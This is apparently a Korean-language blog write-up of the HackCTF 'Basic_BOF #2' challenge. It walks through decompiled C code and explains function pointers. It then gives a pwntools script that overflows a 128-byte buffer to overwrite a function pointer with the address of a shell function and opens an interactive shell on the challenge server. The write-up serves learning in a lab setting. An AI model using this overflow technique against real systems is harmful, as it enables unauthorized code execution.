Security/Pwnable
[HackCTF] Basic_BOF #2
잉퓨_
2022. 1. 10. 17:53
728x90
접속정보
nc ctf.j0n9hyun.xyz 3001
???????? 이게뭐람
우선 이전과 동일하게 ida로 까보도록 하자
main 함수의 모습
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[128]; // [esp+Ch] [ebp-8Ch] BYREF
void (*v5)(void); // [esp+8Ch] [ebp-Ch]
v5 = (void (*)(void))sup;
fgets(s, 133, stdin);
v5();
return 0;
}
(c언어 배운지 얼마나됐다고 v5 해석을 어떻게 해야될지 몰라서 검색의 힘을 빌렸다.......)
char s[128]; // [esp+Ch] [ebp-8Ch] BYREF
void (*v5)(void); // [esp+8Ch] [ebp-Ch]
v5 = (void (*)(void))sup;
- s ⇒ 128만큼의 공간이 있는 배열을 선언했다
- v5 ⇒ 함수포인터 → sup함수의 메모리 주소를 담았다
잠깐 복습하는 함수포인터...
- 함수포인터 예제
- #include <stdio.h> void hello() // 반환값과 매개변수가 없음 { printf("Hello, world!\\n"); } void bonjour() // 반환값과 매개변수가 없음 { printf("bonjour le monde!\\n"); } int main() { void (*fp)(); // 반환값과 매개변수가 없는 함수 포인터 fp 선언 fp = hello; // hello 함수의 메모리 주소를 함수 포인터 fp에 저장 fp(); // Hello, world!: 함수 포인터로 hello 함수 호출 fp = bonjour; // bonjour 함수의 메모리 주소를 함수 포인터 fp에 저장 fp(); // bonjour le monde!: 함수 포인터로 bonjour 함수 호출 return 0; }
sup 함수 내용
int sup()
{
return puts(&s);
}
sup 함수는 s를 출력해 반환하는 함수를 말한다
그 외의 함수
main함수, sup 함수 이외에도 다른 내용을 살펴보니 shell 함수가 존재했다. /bin/dash를 실행하는 듯 하다.
⇒ 아마 해당 내용을 실행하게끔 하는 것이 이번 문제의 목표가 아닐까 추측..
풀이 구상
s는 128만큼의 배열을 만들었지만, gets 함수는 133만큼을 받고있음. 따라서 오버플로우를 이용해 v5에 해당하는 내용을 shell의 주소로 바꾸고자 함.
shell의 주소 ⇒ 804849B
IDA의 하단에 보면 주소가 나와있다!
pwntools-p32
32bit little endian으로 packing 해주는 함수. 이전처럼 그렇게 쓸 필요가 없다!
#! /usr/bin/python3
from pwn import * //pwnable tool을 불러와서 활용함
p = remote("ctf.j0n9hyun.xyz",3001) // 문제에서 주어진 정보에 접속
payload = b"X"*128
payload += p32(0x804849B)
p.sendline(payload)
p.interactive() //종료 시 interactive로 제어를 넘겨받음
권한설정
파일을 만들고 실행하기 위해서는 권한이 필요하다
$ chmod 755 test.py
간단하게 다음과 같은 명령어를 입력해준다
728x90